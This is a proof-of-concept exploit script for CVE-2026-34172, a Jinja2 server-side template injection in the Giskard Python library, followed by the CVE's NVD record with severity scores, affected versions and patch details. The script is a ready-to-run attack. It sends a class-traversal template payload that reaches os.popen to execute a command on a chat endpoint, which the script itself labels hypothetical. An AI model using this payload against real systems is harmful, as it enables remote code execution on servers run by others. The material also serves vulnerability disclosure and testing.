CVE-2026-34172

# PoC for CVE-2026-34172: Giskard Jinja2 SSTI to RCE # This script demonstrates how a malicious payload can be injected into the vulnerable chat method. import requests def exploit(target_url): # The payload attempts to access the os module via Jinja2 class traversal # and execute the 'id' command. Adjust the subclass index based on the environment. # Common technique: {{ ''.__class__.__mro__[1].__subclasses__()[X].__init__.__globals__['system']('cmd') }} # A generic payload for RCE using Jinja2 payload = "{{ ''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].modules['os'].popen('id').read() }}" # Hypothetical endpoint structure based on the library usage endpoint = f"{target_url}/chat/workflow" data = { "message": payload } try: response = requests.post(endpoint, json=data, timeout=5) if response.status_code == 200: print("[+] Request sent successfully.") print(f"[+] Response: {response.text}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Replace with the actual target URL target = "http://localhost:8000" exploit(target)

{"cve": {"id": "CVE-2026-34172", "sourceIdentifier": "[email protected]", "published": "2026-03-31T15:16:17.507", "lastModified": "2026-04-07T21:20:29.570", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Giskard is an open-source Python library for testing and evaluating agentic systems. Prior to versions 0.3.4 and 1.0.2b1, ChatWorkflow.chat(message) passes its string argument directly as a Jinja2 template source to a non-sandboxed Environment. A developer who passes user input to this method enables full remote code execution via Jinja2 class traversal. The method name chat and parameter name message naturally invite passing user input directly, but the string is silently parsed as a Jinja2 template, not treated as plain text. This issue has been patched in versions 0.3.4 and 1.0.2b1."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1336"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:giskard:giskard-agent:*:*:*:*:*:python:*:*", "versionEndExcluding": "0.3.4", "matchCriteriaId": "694950AE-BE3D-4FBA-BB9C-8DCC461CFD12"}, {"vulnerable": true, "criteria": "cpe:2.3:a:giskard:giskard-agent:1.0.2:alpha1:*:*:*:python:*:*", "matchCriteriaId": "9251F71D-20D7-47D4-A694-6C8ECF15A562"}, {"vulnerable": true, "criteria": "cpe:2.3:a:giskard:giskard-agents:1.0.1:alpha1:*:*:*:python:*:*", "matchCriteriaId": "2582855A-A2CD-4E65-95BE-AB008A15A902"}]}]}], "references": [{"url": "https://github.com/Giskard-AI/giskard-oss/security/advisories/GHSA-frv4-x25r-588m", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory", "Mitigation"]}, {"url": "https://github.com/Giskard-AI/giskard-oss/security/advisories/GHSA-frv4-x25r-588m", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory", "Mitigation"]}]}}